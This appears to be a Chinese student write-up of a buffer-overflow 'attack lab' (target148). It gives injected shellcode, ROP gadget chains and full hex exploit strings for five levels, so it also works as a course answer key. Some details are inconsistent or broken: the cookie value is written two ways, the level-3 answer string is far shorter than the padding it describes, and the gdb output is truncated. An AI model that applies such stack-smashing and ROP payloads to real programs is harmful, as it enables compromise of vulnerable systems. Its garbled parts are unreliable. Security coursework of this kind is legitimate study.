编号: target148

### level1

课上师兄讲过了, 所以直接照着操作就行, 先看反汇编的代码:

```
0000000004017e6 <getbuf>:
4017e6: 48 83 ec 28 sub $0x28,%rsp
00000000004017fc <touch1>:
4017fc: 48 83 ec 08 sub 400df0 <exit@plt>
```

在我的target中,开辟的栈空间是0x28,40个字节,所以写答案的时候只需要四十个占位置的,再加上以小端方式输入的地址即可。

# level2

由于栈中代码是可执行的,所以可以通过修改返回地址为栈中地址,来执行代码。

首先,所欲执行的代码为:

```
0: 48 c7 c7 c5 b8 ed 30 mov $0x30bed8c5,%rdi
7: 68 28 18 40 00 pushq $0x401828
c: c3 retq
```

先拿到这个代码对应的二进制机器码。

随后,我们需要把返回地址设置为栈地址,实现跳转。

通过在运行过程中查看%rsp的地址,就可以找到了:

```
(gdb) ni
(gdb) ni
(gdb) ni
Type string:123
(gdb) ni
(gdb) p $rsp
$20 = (void *) 0x5564e898
(gdb)
```

随后,只需要把这个地址设置为返回值即可。

由于此时会依次执行栈中代码,所以应该把想要执行的代码放在开头。

但也可以将除了需要执行的代码之外,全部设置为 nop 对应机器码为90,这样想执行的代码设置在那40个字符中任意一段都可以。

比如:

90 90 90 90 90 90 90 90 90 90 48 c7 c7 c5 b8 ed 30 68 28 18 40 00 c3 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 98 e8 64 55

## level3

首先把我的cookie按照字符串转为acsii

0x30edb8c5->33 30 65 64 62 38 63 35

既然题目告诉了我们不能存放在getbuf的栈帧里面,就应该存在它之前的栈帧中。

在getbuf前打个断点,然后用gdb的 info frame, 查看前一个栈帧的位置:

```
el 0, frame at 0x5564e8c8:
4017e6 in getbuf (buf.c:12); saved rip = 0x40196e
/ frame at 0x5564e8d8
anguage c.
at 0x5564e8b8, args:
0x5564e8b8, Previous frame's sp is 0x5564e8c8
gisters:
```

在getbuf 的返回地址之后继续写入,就可以进入上一个栈帧的位置。

于是同第二题的思路,使用以下汇编:

```
0: 48 c7 c7 c8 e8 64 55 mov $0x5564e8c8,%rdi
7: 68 fc 18 40 00 pushq $0x4018fc
c: c3 retq
```

### 最终组合成完整答案:

48 c7 c7 c8 e8 64 55 68 fc 18 40 00 c3 90 98 e8 64 55 00 00 00 00 33 30 65 64 62 38 63 35

前四行对应于getbuf的栈帧,第五行是覆盖返回地址,第六行是cookie对应的ascii值。

### level4

#### 再回顾一下第二题的汇编:

```
mov $0x30bed8c5,%rdi
pushq $0x401828
retq
```

也就是说我们要干的事情有两个,**一个是把** cookie **装在** %rdi **里面,还有一个是跳转到** touch2 **的地 业**。

把cookie搞到%rdi得分步走,根据提示,大概率是使用pop和mov命令来实现。

pop的作用是rsp增加和将弹出的值存在寄存器里。

那么直接pop %rdi,就可以实现参数的传递了,对应的机器码是5f,但很遗憾从farm到mid\_farm里并没有对应的机器码。

关于pop的指令,这个范围中出现的只有58,对应popq %rax。

也就是说不得不先把参数放到%rax里面,再移动到%rdi中,找到了对应movq %rax,%rdi的机器码正好出现在里面。

```
      401996: b8 58 90 90 c3
      mov
      $0xc3909058,%eax

      4019a9: b8 48 89 c7 c3
      mov
      $0xc3c78948,%eax
```

这两句都不能直接按左边地址直接用,分别得移动1个位置。401997,4019aa

再加上touch2的地址, cookie的值, 就可以把本题解决了。

前四行是用来占位置的。

第五行跳转执行popg %rax,将第六行的cookie值赋值给%rax,然后return跳转到第七行地址位置。

第七行跳转执行molq %rax, %rdi,将%rax中的cookie赋值给%rdi, 然后return跳转到第八行地址位置。

第八行是 touch2 的入口,带着%rdi中的正确参数运行。

## level5

和level3一样,需要先把cookie对应的ascii存在调用前的栈帧中,然后把指向栈帧的地址放在%rdi中用来调用。

首先搜一下touch3的地址:

00000000004018fc

然后观察一下farm。

movg类指令都是48 89 开头,在farm里搜了一下,一共有七个,实际能用的有:

```
48 89 c7 movq %rax %rdi
48 89 e0 movq %rsp %rax
```

pop 类指令可用的有:

```
58 pop %rax
```

由此观之,可以实现把%rsp放到%rdi里面,那么剩下的就比较没头绪了。

但是观察farm,发现了唯一一个带正常名字的函数:

```
4019c3: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
```

那么看起来也很有可能用这个,通过加法间接实现。

考虑到%rsi相关的操作也找不到,或许得退而求其次,或许得考虑 mov1 ,又发现了一些(其中有一些后面不直接跟nop或ret,但后面的操作是一些操作本题用不到的寄存器或别的一些事情,不影响结果,所以也可以用):

```
89 d1 movl %edx,%ecx
89 e0 movl %esp,%eax
89 c2 movl %eax,%edx
89 ce movl %ecx %esi
89 c7 movl %eax,%edi
```

通过这个可以实现了就,只是中间需要绕几步。

#### 变成:

```
movl %eax,%edx
movl %edx,ecx
movl %ecx,%esi
lea (%rdi, %rsi, 1), %rax
movq %rax, %rdi
```

#### 于是汇编整体为:

```
movq %rsp,%rax
movq %rax,%rdi
pop %rax
movl %eax,%edx
movl %edx,ecx
movl %ecx,%esi
lea (%rdi, %rsi, 1), %rax
movq %rax, %rdi
```

### 对应farm地址:

```
401a32: c7 07 48 89 e0 90
                                movl
                                       $0x90e08948, (%rdi)
4019b6: c7 07 48 89 c7 c3
                                mov1
                                       $0xc3c78948, (%rdi)
401996: b8 58 90 90 c3
                                       $0xc3909058,%eax
                                mov
4019fe: 8d 87 89 c2 38 d2
                                lea
                                       -0x2dc73d77(%rdi),%eax
401a2b: 8d 87 60 89 d1 c3
                                       -0x3c2e76a0(%rdi),%eax
                                lea
4019f7: c7 07 89 ce 84 db
                                movl $0xdb84ce89,(%rdi)
4019c3: 48 8d 04 37
                                lea
                                       (%rdi,%rsi,1),%rax
```

在pop前还有一行用于存偏移量,就是cookie对应从 %rsp 开始偏移的位置,经计算为十进制的72,转为十六进制是48于是最终答案:

90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90

34 1a 40 00 00 00 00 00

b8 19 40 00 00 00 00 00

97 19 40 00 00 00 00 00

48 00 00 00 00 00 00 00

00 1a 40 00 00 00 00 00

2e 1a 40 00 00 00 00 00

f9 19 40 00 00 00 00 00

c3 19 40 00 00 00 00 00

b8 19 40 00 00 00 00 00

fc 18 40 00 00 00 00 00

33 30 65 64 62 38 63 35